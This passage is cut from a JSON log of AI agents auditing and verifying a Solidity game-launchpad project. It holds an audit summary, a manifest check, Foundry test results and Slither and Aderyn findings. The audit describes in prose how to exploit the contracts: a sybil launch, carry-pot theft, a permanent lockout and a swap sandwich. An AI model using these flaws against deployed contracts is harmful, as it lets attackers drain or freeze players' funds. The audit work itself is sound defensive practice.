one-transaction self-sandwich of the burn chunk on the mock pool that nets the attacker 0.0118 ETH while burning 45% less PVP.\n- Merged 24 specialist items into 13 findings by root cause, dropped nothing that reproduced, and recalibrated severity by impact.\n\n**Findings kept, by severity**\n\n1. **High, with proof.** One free genesis mint by any wallet plus 20 silent minutes marks PvP failed and permanently disables launch, king and burn. No recovery path exists. Four specialists reported it; merged.\n2. **High, with proof.** The carry pot is paid in full to the next launch, so a solo throwaway launch collects ETH that other players and the king contributed. Every inactivity-ended game carries its whole pot, which makes this frequent. Merged with the 200-sybil-mint lockout.\n3. **High, with proof.** Five free Imps make a sybil launch eligible for the king's 50% share, and open fundPot lets the attacker set its weight. Merged the flow and permissions reports.\n4. **Medium, with proof.** takeCrown runs upkeep with the king contract as caller, so finalizer fees land in a claimable balance nothing can withdraw. Three specialists reported it; merged.\n5. **Medium.** burnChunk and distribute swap with no price bound and run inside anyone's upkeep, so a thin PvP pool is sandwiched atomically. Reproduced with my own test.\n6. **Low.** Four items: a roll accepted after the roller's own bell, the 21.8M-gas finalize, a dead Imp still ringing the bell for 20%, and tie-breaks set at resolution time.\n7. **Info.** Fee backlog swept to the new king, open receive on PadLiquidity, unguarded one-shot binders, and upkeepStep relying on the push gas cap instead of the lock.\n\n**Coverage.** The remaining entry points hold: token lock and initializers, openPad and hook flag, graduation math against the v4 ABI, unlockCallback, claims and the deployment budget. The one caveat recorded in the coverage row is that real PoolManager math was only exercised against the mock, as the author's own audit notes.","treeHash":null,"usage":{"cachedInputTokens":1101348,"inputTokens":290,"model":"claude-fable-5-1","outputTokens":42533,"runtime":"claude","turns":25,"wallClockMs":625253}},{"artifacts":[],"attempt":1,"bundleHash":"41f6d9a148c3595876281999b62b66c15332e958c9d9d1f62499bf582735d389","device":"8472a2af9a9cf974","findings":[],"hash":"f39b5379d2a6ab713ffd702ca286f251aa3524d92656c54692fd10b442455b2c","nodeId":"e49f0c5d-0e73-4b51-9798-aa5c7cdb9b25","outcome":"completed","summary":"The manifest in the tree is already correct and needs no change. The working tree is clean and nothing else was touched.\n\n**What I verified**\n\n- launch.json has exactly the keys kind, contracts and notes, kind is \"evm_contracts\", and notes is 1,534 characters.\n- The five contracts are listed in constructor dependency order: PadToken, PadGame, PvPPad, PadLiquidity, KingOfThePad.\n- Every constructorArgs list matches the compiled ABI one entry per parameter, in declaration order. The templates take no arguments. PvPPad takes $owner plus the two templates. PadLiquidity takes the static v4 PoolManager address and the pad. KingOfThePad takes the pad, PadLiquidity and the dev address the brief states.\n- All references point backward and fill address parameters only. Both static addresses are lowercase and nonzero.\n- Nothing is owned by the factory or IMD. The pad owner comes from $owner and the dev wallet is the immutable address the brief fixes.\n- PadHook is correctly absent from the manifest, since openPad deploys it later with CREATE2.\n- The lib directory holds forge-std as ordinary committed files, with no submodule.\n\n**Checks run**\n\n- forge build succeeds.\n- forge test with the verifier's fuzz seed: 70 passed, 0 failed, including deploy gas under the 13M target, runtime sizes under EIP-170, no forbidden opcodes, open/salt, 30-day expiry, foreign initialize rejection, king split and genesis gating.\n- A scratch script in test/scratch cross-checked the manifest against the ABIs and the schema rules.\n\nNo revision findings were included in this assignment, so the previously accepted launch.json stands as the deliverable.","treeHash":"b66de5a9401613bd38440a0809d7da765fb9c23a","usage":{"cachedInputTokens":278223,"inputTokens":226,"model":"claude-fable-5-1","outputTokens":4291,"runtime":"claude","turns":11,"wallClockMs":138988}}],"verification":[{"checks":[{"durationMs":19219,"exitCode":0,"name":"build","output":"Compiling 32 files with Solc 0.8.26\nSolc 0.8.26 finished in 19.12s\nCompiler run successful!\n","passed":true},{"durationMs":138,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 10 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 695629)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 3653571)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 996237)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 1084405)\n[PASS] test_distributeWithoutKingEscrows() (gas: 582338)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 7662217)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 540502)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 8113510)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 952893)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 32911)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 17.83ms (11.23ms CPU time)\n\nRan 28 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 947310)\n[PASS] test_claimableWinner() (gas: 1619911)\n[PASS] test_conservationOfEth() (gas: 3502621)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 40988)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 1208105)\n[PASS] test_deathAndAllDeadEnd() (gas: 802912)\n[PASS] test_expiredRollMovesTowardZero() (gas: 1299116)\n[PASS] test_failedPushBecomesClaimable() (gas: 847663)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 3146794)\n[PASS] test_finalizeRanksAndPays() (gas: 2816471)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 833394)\n[PASS] test_finalizerFeeCapped() (gas: 790280)\n[PASS] test_firstMintStartsSignup() (gas: 277118)\n[PASS] test_graduateOnlyFromGame() (gas: 70983)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 5368127)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 588566)\n[PASS] test_hardEndAt60Minutes() (gas: 2512552)\n[PASS] test_mintCapsAt200() (gas: 29650799)\n[PASS] test_mintOnePerWalletAndSignupWindow() (gas: 488995)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 6700450)\n[PASS] test_resolveBatchIsEight() (gas: 4403000)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 972961)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 938689)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 809622)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 597719)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 530759)\n[PASS] test_tokenLockedUntilGraduation() (gas: 686721)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 1632797)\nSuite result: ok. 28 passed; 0 failed; 0 skipped; finished in 20.26ms (33.87ms CPU time)\n\nRan 18 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 120519)\n[PASS] test_bindingsAreOneShot() (gas: 87526)\n[PASS] test_carryPotFundsNextLaunch() (gas: 9589815)\n[PASS] test_closedPadRevertsEverything() (gas: 200975)\n[PASS] test_deployGasUnderBudget() (gas: 19880)\n[PASS] test_deployHookOnlyByPad() (gas: 30933)\n[PASS] test_fundGamesOnlyKing() (gas: 39613)\n[PASS] test_hookRejectsForeignInitialize() (gas: 3779159)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9714517)\n[PASS] test_launchValidatesStrings() (gas: 8957208)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 3710473)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 3741672)\n[PASS] test_openPadOnlyOnce() (gas: 3717556)\n[PASS] test_openPadRejectsBadSalt() (gas: 213298)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 3525834)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 23744481)\n[PASS] test_templatesCannotBeInitialized() (gas: 131382)\n[PASS] test_upkeepForOnlyGames() (gas: 162543)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 43.35ms (157.34ms CPU time)\n\nRan 3 test suites in 44.19ms (81.44ms CPU time): 56 tests passed, 0 failed, 0 skipped (56 total tests)\n","passed":true},{"durationMs":39,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.mint()\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.startGenesis()\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":125,\"docs/AUDIT.md\":80,\"docs/TEST-REPORT.md\":27,\"docs/VERIFY.md\":30,\"foundry.toml\":22,\"remappings.txt\":1,\"src/KingOfThePad.sol\":113,\"src/PadGame.sol\":464,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":320,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":228,\"src/interfaces/Interfaces.sol\":99,\"src/libs/PadLib.sol\":108,\"test/Base.t.sol\":144,\"test/Game.t.sol\":532,\"test/King.t.sol\":182,\"test/Pad.t.sol\":220,\"test/mocks/Mocks.sol\":209},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":4441,"exitCode":0,"name":"slither","output":"[high/medium] incorrect-exp at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) has bitwise-xor operator ^ instead of the exponentiation operator **: \n[high/medium] msg-value-loop at src/PvPPad.sol:138: PvPPad.fundGames() (src/PvPPad.sol#138-167) use msg.value in a loop: share = msg.value * pots[i_scope_0] / total (src/PvPPad.sol#161)\n[high/medium] msg-value-loop at src/PvPPad.sol:138: PvPPad.fundGames() (src/PvPPad.sol#138-167) use msg.value in a loop: share = msg.value - sent (src/PvPPad.sol#162)\n[high/medium] msg-value-loop at src/PvPPad.sol:138: PvPPad.fundGames() (src/PvPPad.sol#138-167) use msg.value in a loop: share = msg.value / count (src/PvPPad.sol#161)\n[high/medium] reentrancy-eth at src/KingOfThePad.sol:56: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#56-90):\n[high/medium] reentrancy-eth at src/PadGame.sol:384: Reentrancy in PadGame._finalize(address) (src/PadGame.sol#384-433):\n[high/medium] reentrancy-eth at src/PadGame.sol:139: Reentrancy in PadGame.roll() (src/PadGame.sol#139-173):\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:27: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#27-60) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/PadGame.sol:384: PadGame._finalize(address) (src/PadGame.sol#384-433) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:289: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#289-292) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:384: PadGame._finalize(address) (src/PadGame.sol#384-433) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:257: PadGame.status() (src/PadGame.sol#257-265) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PvPPad.sol:203: PvPPad.genesisGraduated() (src/PvPPad.sol#203-207) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:199: PadGame.upkeepStep(address) (src/PadGame.sol#199-208) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:234: PadGame.hardEnd() (src/PadGame.sol#234-236) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:240: PadGame.endTime() (src/PadGame.sol#240-246) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:252: PadGame.bellRang() (src/PadGame.sol#252-254) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:230: PadGame.playStart() (src/PadGame.sol#230-232) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:120: PadGame.mint() (src/PadGame.sol#120-136) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:294: PadLiquidity._settleToken(address,uint256) (src/PadLiquidity.sol#294-299) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:120: PadGame.mint() (src/PadGame.sol#120-136) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:280: PadGame.isAlive(uint256) (src/PadGame.sol#280-284) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:135: PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#135-165) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:170: Reentrancy in PadLiquidity.distribute(uint256) (src/PadLiquidity.sol#170-191):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:193: Reentrancy in PadLiquidity._collect(uint256) (src/PadLiquidity.sol#193-203):\n[medium/medium] reentrancy-no-eth at src/PvPPad.sol:181: Reentrancy in PvPPad._upkeep(address) (src/PvPPad.sol#181-196):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:135: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#135-165):\n[medium/medium] uninitialized-local at src/PadGame.sol:348: PadGame._resolveRoll(uint256).expired (src/PadGame.sol#348) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:159: PvPPad.fundGames().sent (src/PvPPad.sol#159) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:410: PadGame._finalize(address).paid (src/PadGame.sol#410) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:418: PadGame._finalize(address).sent (src/PadGame.sol#418) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:261: PadLiquidity.unlockCallback(bytes).ethFromSale (src/PadLiquidity.sol#261) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:174: PadLiquidity.distribute(uint256).total (src/PadLiquidity.sol#174) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:144: PvPPad.fundGames().count (src/PvPPad.sol#144) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:390: PadGame._finalize(address).living (src/PadGame.sol#390) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:347: PadGame._resolveRoll(uint256).d (src/PadGame.sol#347) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:145: PvPPad.fundGames().total (src/PvPPad.sol#145) is a local variable never initialized\n[medium/medium] unused-return at src/PadGame.sol:139: PadGame.roll() (src/PadGame.sol#139-173) ignores return value by rolls.push(Roll(uint32(idx - 1),imp.nonce,uint64(ARB.arbBlockNumber()),false,false,0)) (src/PadGame.sol#161)\n[medium/medium] unused-return at src/PadLiquidity.sol:234: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#234-287) ignores return value by (delta,None) = poolManager.modifyLiquidity(key,ModifyLiquidityParams(MIN_TICK,MAX_TICK,int256(l),0),) (src/PadLiquidity.sol#240-241)\n[medium/medium] unused-return at src/PadLiquidity.sol:294: PadLiquidity._settleToken(address,uint256) (src/PadLiquidity.sol#294-299) ignores return value by poolManager.settle() (src/PadLiquidity.sol#298)\n[medium/medium] unused-return at src/PadGame.sol:120: PadGame.mint() (src/PadGame.sol#120-136) ignores return value by imps.push(Imp(msg.sender,0,0,0,0,0)) (src/PadGame.sol#131)\n[medium/medium] unused-return at src/PadLiquidity.sol:289: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#289-292) ignores return value by poolManager.settle{value: amount}() (src/PadLiquidity.sol#291)\n[medium/medium] unused-return at src/PadLiquidity.sol:234: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#234-287) ignores return value by (None,fees) = poolManager.modifyLiquidity(key_scope_0,ModifyLiquidityParams(MIN_TICK,MAX_TICK,0,0),) (src/PadLiquidity.sol#253)\n[medium/medium] unused-return at src/PadLiquidity.sol:135: PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#135-165) ignores return value by poolManager.initialize(key,sqrtP) (src/PadLiquidity.sol#154)\n[low/medium] missing-zero-check at src/PadHook.sol:14: PadHook.constructor(address,address).liquidity_ (src/PadHook.sol#14) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadGame.sol:108: PadGame.initialize(uint256,address,address,bool).token_ (src/PadGame.sol#108) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadLiquidity.sol:109: PadLiquidity.deployHook(bytes32).h (src/PadLiquidity.sol#109) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:33: PadToken.initialize(string,string,address,address).game_ (src/PadToken.sol#33) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:14: PadHook.constructor(address,address).poolManager_ (src/PadHook.sol#14) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadGame.sol:108: PadGame.initialize(uint256,address,address,bool).liquidity_ (src/PadGame.sol#108) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:33: PadToken.initialize(string,string,address,address).liquidity_ (src/PadToken.sol#33) lacks a zero-check on :\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#343)\n[low/medium] calls-loop at src/PadLiquidity.sol:193: PadLiquidity._collect(uint256) (src/PadLiquidity.sol#193-203) has external calls inside a loop: p.tokenStash = IPadToken(p.token).balanceOf(address(this)) (src/PadLiquidity.sol#200)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#343)\n[low/medium] calls-loop at src/PadLiquidity.sol:193: PadLiquidity._collect(uint256) (src/PadLiquidity.sol#193-203) has external calls inside a loop: res = poolManager.unlock(abi.encode(ACT_COLLECT,poolKey(p.token),idx)) (src/PadLiquidity.sol#195)\n[low/medium] calls-loop at src/PvPPad.sol:138: PvPPad.fundGames() (src/PvPPad.sol#138-167) has external calls inside a loop: IPadGame(games[i_scope_0]).fundPot{value: share}() (src/PvPPad.sol#164)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#354)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#354)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#354)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#356)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#355)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#356)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#356)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#355)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#354)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#356)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#343)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#355)\n[low/medium] calls-loop at src/PvPPad.sol:138: PvPPad.fundGames() (src/PvPPad.sol#138-167) has external calls inside a loop: (live,p) = IPadGame(launches[i].game).isLiveForKing() (src/PvPPad.sol#147)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#355)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#354)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#355)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#343)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#356)\n[low/medium] calls-loop at src/PadGame.sol:340: PadGame._resolveRoll(uint256) (src/PadGame.sol#340-382) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#343)\n[low/medium] reentrancy-benign at src/PadGame.sol:139: Reentrancy in PadGame.roll() (src/PadGame.sol#139-173):\n[low/medium] reentrancy-benign at src/PvPPad.sol:181: Reentrancy in PvPPad._upkeep(address) (src/PvPPad.sol#181-196):\n[low/medium] reentrancy-benign at src/PvPPad.sol:110: Reentrancy in PvPPad._create(string,string,string,address,bool) (src/PvPPad.sol#110-128):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:170: Reentrancy in PadLiquidity.distribute(uint256) (src/PadLiquidity.sol#170-191):\n[low/medium] reentrancy-benign at src/PvPPad.sol:84: Reentrancy in PvPPad.openPad(bytes32) (src/PvPPad.sol#84-94):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:135: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#135-165):\n[low/medium] reentrancy-benign at src/PadGame.sol:384: Reentrancy in PadGame._finalize(address) (src/PadGame.sol#384-433):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:135: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#135-165):\n[low/medium] reentrancy-events at src/PadLiquidity.sol:135: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#135-165):\n[low/medium] reentrancy-events at src/PadLiquidity.sol:193: Reentrancy in PadLiquidity._collect(uint256) (src/PadLiquidity.sol#193-203):\n[low/medium] reentrancy-events at src/PadGame.sol:449: Reentrancy in PadGame._graduate() (src/PadGame.sol#449-463):\n[low/medium] reent","passed":true},{"durationMs":418,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/PadLiquidity.sol:119: `abi.encodePacked()` Hash Collision\n[high] contract-locks-ether at src/PvPPad.sol:9: Contract locks Ether without a withdraw function\n[high] eth-send-unchecked-address at src/KingOfThePad.sol:97: ETH transferred without address checks (3 places)\n[high] incorrect-caret-operator at src/libs/PadLib.sol:51: Incorrect use of caret operator\n[high] msg-value-in-loop at src/PvPPad.sol:160: Loop contains `msg.value`\n[high] reentrancy-state-change at src/KingOfThePad.sol:57: Reentrancy: State change after external call (15 places)\n[low] costly-loop at src/PadGame.sol:329: Costly operations inside loop (3 places)\n[low] large-numeric-literal at src/KingOfThePad.sol:66: Large Numeric Literal (10 places)\n[low] literal-instead-of-constant at src/KingOfThePad.sol:66: Literal Instead of Constant (34 places)\n[low] missing-inheritance at src/KingOfThePad.sol:14: Missing Inheritance (4 places)\n[low] state-change-without-event at src/PvPPad.sol:171: State Change Without Event (2 places)\n[low] state-no-address-check at src/PadGame.sol:112: Address State Variable Set Without Checks (4 places)\n[low] unchecked-return at src/PadGame.sol:204: Unchecked Return (5 places)\n[low] uninitialized-local-variable at src/PadGame.sol:390: Uninitialized Local Variable (5 places)\n[low] unsafe-erc20-operation at src/PadGame.sol:169: Unsafe ERC20 Operation (5 places)\n[low] unused-public-function at src/PadGame.sol:252: Public Function Not Used Internally (3 places)\n[low] unused-state-variable at src/PadLiquidity.sol:62: Unused State Variable","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"05fc0051882ab15252933cffe6d8315c497972757b11a7e44742828100add13b","verifiedTreeHash":"c97dae64f5f163c4b3ec22ef4db1cb433f1828fa","verifierVersion":"0.1.0+7129bf9d"},{"checks":[{"durationMs":18379,"exitCode":0,"name":"build","output":"Compiling 32 files with Solc 0.8.26\nSolc 0.8.26 finished in 18.31s\nCompiler run successful!\n","passed":true},{"durationMs":124,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 10 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 695629)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 3653571)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 996237)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 1084405)\n[PASS] test_distributeWithoutKingEscrows() (gas: 582338)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 7662217)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 540502)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 8113510)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 952893)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 32911)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 17.43ms (11.87ms CPU time)\n\nRan 28 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 947310)\n[PASS] test_claimableWinner() (gas: 1619911)\n[PASS] test_conservationOfEth() (gas: 3502621)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 40988)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 1208105)\n[PASS] test_deathAndAllDeadEnd() (gas: 802912)\n[PASS] test_expiredRollMovesTowardZero() (gas: 1299116)\n[PASS] test_failedPushBecomesClaimable() (gas: 847663)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 3146794)\n[PASS] test_finalizeRanksAndPays() (gas: 2816471)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 833394)\n[PASS] test_finalizerFeeCapped() (gas: 790280)\n[PASS] test_firstMintStartsSignup() (gas: 277118)\n[PASS] test_graduateOnlyFromGame() (gas: 70983)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 5368127)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 588566)\n[PASS] test_hardEndAt60Minutes() 